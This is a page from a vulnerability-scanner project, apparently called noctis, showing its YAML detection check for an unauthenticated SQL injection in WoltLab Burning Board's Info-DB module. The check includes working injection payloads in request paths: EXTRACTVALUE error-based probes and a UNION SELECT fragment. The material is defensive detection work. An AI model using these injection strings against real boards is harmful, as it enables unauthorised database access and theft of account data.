Woltlab Burning Board — 1 vulnerability check

noctis ships 1 vulnerability check for Woltlab Burning Board, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Burning Board Info-DB info_db.php 'fileid' SQL Injection

CVECVE-2005-3369, CVE-2006-1094
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/woltlab-burning-board/info-db-fileid-sqli.yaml

Tests the Info-DB (Datenbank) module of WoltLab Burning Board 2 (up to 2.7) for the unauthenticated SQL injection through the fileid parameter of info_db.php. In the web root and in the /wbb2, /wbb, /forum and /board directories, once info_db.php answers a plain request without a database error, the feed sends a fileid value that makes the database raise an XPath error carrying the product of two random numbers, first as a bare number and then inside quotes. The correct product in the board's database error page confirms that the database ran the injected expression; the product is not part of the request, so a page that only echoes the URL is not reported. On databases without the EXTRACTVALUE function, the feed instead reports the board's database error page quoting the failed SELECT after a UNION SELECT fragment is appended to fileid, provided the plain request showed no such error. The probes read no table row and change nothing.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{dir}}/info_db.php?action=file&fileid=1
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{dir}}/info_db.php?action=file&fileid=1%20AND%20extractvalue(1,concat(0x7e,{{m.a}}*{…
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request GET {{dir}}/info_db.php?action=file&fileid=1%27%20AND%20extractvalue(1,concat(0x7e,{{m.a}…
  8. Parses / computes the next value with a Rhai script
  9. Checks proof for ^XPATH syntax error: ~[0-9]+$ → finding QoD 97: Burning Board Info-DB info_db.php 'fileid' SQL Injection (CVE-2005-3369, CVE-2006-1094)
  10. HTTP(S) request GET {{dir}}/info_db.php?action=file&fileid=1/**/UNION/**/SELECT/**/
  11. Parses / computes the next value with a Rhai script
  12. Checks syn for ^Burning Board database error on UNION probe$ → finding QoD 75: Burning Board Info-DB info_db.php 'fileid' SQL Injection (CVE-2005-3369, CVE-2006-1094)

References:

Feed source — tests/vulnerabilities/woltlab-burning-board/info-db-fileid-sqli.yaml
# Woltlab Burning Board 2 "Info-DB" module info_db.php 'fileid' SQL injection
# (CVE-2005-3369, CVE-2006-1094)
#
# The Info-DB / "Datenbank" module of WoltLab Burning Board 2.x (versions up to
# 2.7) pastes the fileid GET parameter of info_db.php (action=file; the same
# value reaches database.php) into its file query without escaping. The Burning
# Board database class dies with its "Database error in WoltLab Burning Board"
# page, which prints the failed query ("Invalid SQL: SELECT * FROM bb<n>_...")
# and mysql_error() (inside an HTML comment when the board hides errors, still
# in the response body). The module source is not published any more, so the
# context of the value (bare number or quoted) is unknown: both are probed.
#
# Detection (benign, read-only), per candidate board directory
# ("", /wbb2, /wbb, /forum, /board):
#   1. Control: GET <dir>/info_db.php?action=file&fileid=1 must answer 200
#      without a Burning Board database error (also gates the probes: nothing
#      is injected into a server without the page).
#   2. fileid=1 AND extractvalue(1,concat(0x7e,<a>*<b>)) (numeric context) then,
#      if nothing showed, fileid=1' AND extractvalue(...) AND '1'='1 (quoted).
#      MySQL raises "XPATH syntax error: '~<a×b>'", printed in the error page.
#      The product of two random 6-digit operands is not in the request, so a
#      page that echoes the URL (the error page prints REQUEST_URI) cannot
#      produce it; MySQL folds the constant, no row is read. QoD 97.
#   3. Fallback (MySQL < 5.1 has no EXTRACTVALUE): the reference check's request
#      fileid=1/**/UNION/**/SELECT/**/ must return the board's error page quoting
#      "Invalid SQL: SELECT * FROM" and a MySQL error while the control showed
#      none. QoD 75.
#
# Better than the reference check: a database-computed proof (QoD 97), an
# error-free control request (a page that always prints the error stays
# clean) and the usual board directories besides the detected install path.
#
# CVE mapping: CVE-2005-3369 (Info-DB, WBB <= 2.7, fileid and subkatid) and
# CVE-2006-1094 (Datenbank MOD <= 2.7, fileid of info_db.php / database.php)
# describe the same fileid sink; both stay on the feed. CVSS: v2 7.5 for both
# (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2008/burning_board_database_sql_injection.nasl
# (OID 1.3.6.1.4.1.25623.1.0.80050, GPL-2.0-only).
uid: 81d18aa2-ce05-406a-9b1e-86fdd80f60c5
name: "Burning Board Info-DB info_db.php 'fileid' SQL Injection (CVE-2005-3369, CVE-2006-1094)"
description: |
  Tests the Info-DB (Datenbank) module of WoltLab Burning Board 2 (up to 2.7)
  for the unauthenticated SQL injection through the fileid parameter of
  info_db.php. In the web root and in the /wbb2, /wbb, /forum and /board
  directories, once info_db.php answers a plain request without a database
  error, the feed sends a fileid value that makes the database raise an XPath
  error carrying the product of two random numbers, first as a bare number and
  then inside quotes. The correct product in the board's database error page
  confirms that the database ran the injected expression; the product is not
  part of the request, so a page that only echoes the URL is not reported. On
  databases without the EXTRACTVALUE function, the feed instead reports the
  board's database error page quoting the failed SELECT after a UNION SELECT
  fragment is appended to fileid, provided the plain request showed no such
  error. The probes read no table row and change nothing.
cves: [CVE-2005-3369, CVE-2006-1094]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [woltlab, burning-board, info-db, php, mysql, sqli, error-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-3369"
  - "https://nvd.nist.gov/vuln/detail/CVE-2006-1094"
  - "http://www.securityfocus.com/bid/15214"
  - "http://www.securityfocus.com/bid/16914"

steps:
  # Random operands and marker; the expected proof is computed locally.
  - id: mint
    action: script
    code: '#{ a: rand_int(100000, 999999), b: rand_int(100000, 999999), tag: "Noctis" + rand_str(10) }'
    store_as: m

  - id: mint-product
    action: script
    code: '"" + (m.a * m.b)'
    store_as: prod

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  # ── Loop group: every step below runs once per candidate install dir ─────
  - id: init-ctl-r
    action: set_var
    var_name: ctl_r
    var_value: {status: 0, body: ""}
    loop:
      over: ["", "/wbb2", "/wbb", "/forum", "/board"]
      var: dir

  - id: init-num-r
    action: set_var
    var_name: num_r
    var_value: {status: 0, body: ""}

  - id: init-quo-r
    action: set_var
    var_name: quo_r
    var_value: {status: 0, body: ""}

  - id: init-mark-r
    action: set_var
    var_name: mark_r
    var_value: {status: 0, body: ""}

  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/info_db.php?action=file&fileid=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == ""'
    store_as: ctl_r

  - id: gate
    action: script
    code: |
      proof == "" && ctl_r.status == 200 && type_of(ctl_r.body) == "string" && stridx(ctl_r.body, "Database error in WoltLab Burning Board") < 0 && stridx(ctl_r.body, "XPATH syntax error") < 0
    store_as: ok

  # Numeric context: fileid=1 AND extractvalue(1,concat(0x7e,<a>*<b>))
  - id: inject-numeric
    action: http_request
    method: GET
    path: "{{dir}}/info_db.php?action=file&fileid=1%20AND%20extractvalue(1,concat(0x7e,{{m.a}}*{{m.b}}))"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'ok == true'
    store_as: num_r

  # The error text may be HTML-escaped by a front end; accept the quote in any
  # common form, or none.
  - id: verdict-numeric
    action: script
    code: |
      if ok == true && type_of(num_r.body) == "string" && egrep("XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + prod + "(?:[^0-9]|$)", num_r.body) != "" { "XPATH syntax error: ~" + prod } else { proof }
    store_as: proof

  # Quoted context: fileid=1' AND extractvalue(...) AND '1'='1
  - id: inject-quoted
    action: http_request
    method: GET
    path: "{{dir}}/info_db.php?action=file&fileid=1%27%20AND%20extractvalue(1,concat(0x7e,{{m.a}}*{{m.b}}))%20AND%20%271%27=%271"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'ok == true && proof == ""'
    store_as: quo_r

  - id: verdict-quoted
    action: script
    code: |
      if proof == "" && ok == true && type_of(quo_r.body) == "string" && egrep("XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + prod + "(?:[^0-9]|$)", quo_r.body) != "" { "XPATH syntax error: ~" + prod } else { proof }
    store_as: proof

  - id: report-xpath
    action: match
    source: proof
    pattern: "^XPATH syntax error: ~[0-9]+$"
    on_match:
      finding:
        title: "Burning Board Info-DB info_db.php 'fileid' SQL Injection (CVE-2005-3369, CVE-2006-1094)"
        description: "An unauthenticated GET to info_db.php (action=file) with SQL appended to the fileid parameter made the database compute the product of two random numbers, which came back in the board's database error page. Any query the board's database user may run can be injected the same way, including reading the forum accounts and their password hashes."
        remediation: "Remove the Info-DB / Datenbank module (info_db.php, database.php) from the board or restrict access to it; no fixed release of the module is published."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{dir}}/info_db.php with an injected fileid computing {{m.a}}*{{m.b}} returned the database-computed result: {{proof}}"
      stop: true

  # Fallback for MySQL < 5.1 (no EXTRACTVALUE): the reference request
  # (fileid=1/**/UNION/**/SELECT/**/) must return the Burning Board error page
  # quoting the failed SELECT, while the control showed none.
  - id: inject-union
    action: http_request
    method: GET
    path: "{{dir}}/info_db.php?action=file&fileid=1/**/UNION/**/SELECT/**/"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'ok == true && proof == ""'
    store_as: mark_r

  - id: verdict-union
    action: script
    code: |
      if proof == "" && ok == true && type_of(mark_r.body) == "string" && stridx(mark_r.body, "Database error in WoltLab Burning Board") >= 0 && egrep("Invalid SQL: SELECT \\* FROM", mark_r.body) != "" && egrep("(?i)SQL syntax|different number of columns", mark_r.body) != "" { "Burning Board database error on UNION probe" } else { "" }
    store_as: syn

  - id: report-syntax
    action: match
    source: syn
    pattern: "^Burning Board database error on UNION probe$"
    on_match:
      finding:
        title: "Burning Board Info-DB info_db.php 'fileid' SQL Injection (CVE-2005-3369, CVE-2006-1094)"
        description: "An unauthenticated GET to info_db.php with a UNION SELECT fragment in the fileid parameter returned the Burning Board database error page showing the failed SELECT and a MySQL error, while the same page with a plain fileid showed no error: the parameter is pasted into the query unescaped. Any query the board's database user may run can be injected the same way."
        remediation: "Remove the Info-DB / Datenbank module (info_db.php, database.php) from the board or restrict access to it; no fixed release of the module is published."
        confidence_delta: 0.50
        qod: 75
        evidence: "GET {{dir}}/info_db.php?action=file&fileid=1/**/UNION/**/SELECT/**/ returned the Burning Board database error page (Invalid SQL: SELECT * FROM ...) with a MySQL error; the same page with fileid=1 returned status {{ctl_r.status}} with no SQL error"
      stop: true

View these feeds on GitHub